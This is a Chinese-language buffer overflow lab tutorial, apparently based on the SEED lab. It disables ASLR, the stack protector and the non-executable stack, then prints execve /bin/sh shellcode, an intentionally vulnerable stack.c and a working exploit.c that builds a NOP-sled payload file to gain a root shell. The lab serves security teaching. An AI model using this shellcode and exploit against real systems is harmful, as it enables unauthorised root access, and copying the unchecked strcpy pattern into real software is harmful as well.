软件安全-缓冲区溢出攻防

Buffer Overflow Vulnerability Lab

实验目的:掌握缓冲区溢出漏洞原理。
缓冲区溢出定义：程序企图在预分配的缓冲区之外写数据。
漏洞危害：用于更改程序执行流，控制函数返回值，执行任意代码。
漏洞产生原因：不可避免，由于程序存储数据（buffer）和程序（return address）
都在栈上，当存储数据覆盖了控制数据，就会发生缓冲区溢出的可能。
学习目标：

• 通过代码设计和利用缓冲区溢出漏洞获取ubuntu12的root权限。
• 掌握操作系统（linux OS）保护机制，阻止缓冲区溢出攻击。

你可以在ubuntu12虚拟机中完成本次实验，由于ubuntu中存在一些保护机制，
使缓冲区溢出很难实现，为此，我们需要关闭这些保护机制。

• 地址随机化（address space randomization）
  堆/栈中的开始地址每次都不一样。
  关闭地址随机化

关闭地址随机化

• 栈保护机制（StackGuard Protection）
  gcc编译器实现的安全机制，阻止缓冲区溢出漏洞。你可以关闭这种机制，
  通过在编译时使用-fno-stack-protector选项。
• 栈不可执行（Non-Executable Stack）
  ubuntu12默认栈不可执行，可以通过在编译的时候使用-z execstack选项来使堆栈可执行。

shellcode

shellcode是一段弹出shell的可执行代码，我们需要将这段可执行代码载入内核的buffer中，
通过缓冲区溢出漏洞，跳转到这段可执行代码处，让终端弹出shell。

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
//execve()
//参数1：sh可执行文件在系统中的路径指针
//参数2：数组指针，传递给执行文件
//参数3：传递给执行文件的新环境变量数组
execve(name[0], name, NULL);
}

执行效果与直接在/bin/目录下执行./sh效果一样。

shellcode长什么样？

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

如何让shellcode运行？

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   //注意函数指针
   ((void(*)( ))buf)( );
}

shellcode汇编代码解读

image

执行这段程序栈和寄存器中数据：

栈和寄存器中数据

The Vulnerable Program

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

当badfile文件中内容大小低于缓冲区大小的时候，程序正常。
当文件内容大小超过缓冲区大小的时候，程序异常，发生缓冲区溢出。

exploiting the Vulnerability

利用缓冲区溢出漏洞，实现获取root权限：

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;
unsigned long get_sp()
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    long* addr_ptr,addr;
    int offset = 200;
    addr = get_sp() + offset;
    addr_ptr = (long*)buffer;
    for(int i = 0;i<10;i++)
        *(addr_ptr++) = addr;
    memcpy(buffer+sizeof(buffer)-sizeof(shellcode),
    shellcode,sizeof(shellcode));

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

编译运行程序，即可以获取root权限：

获取root权限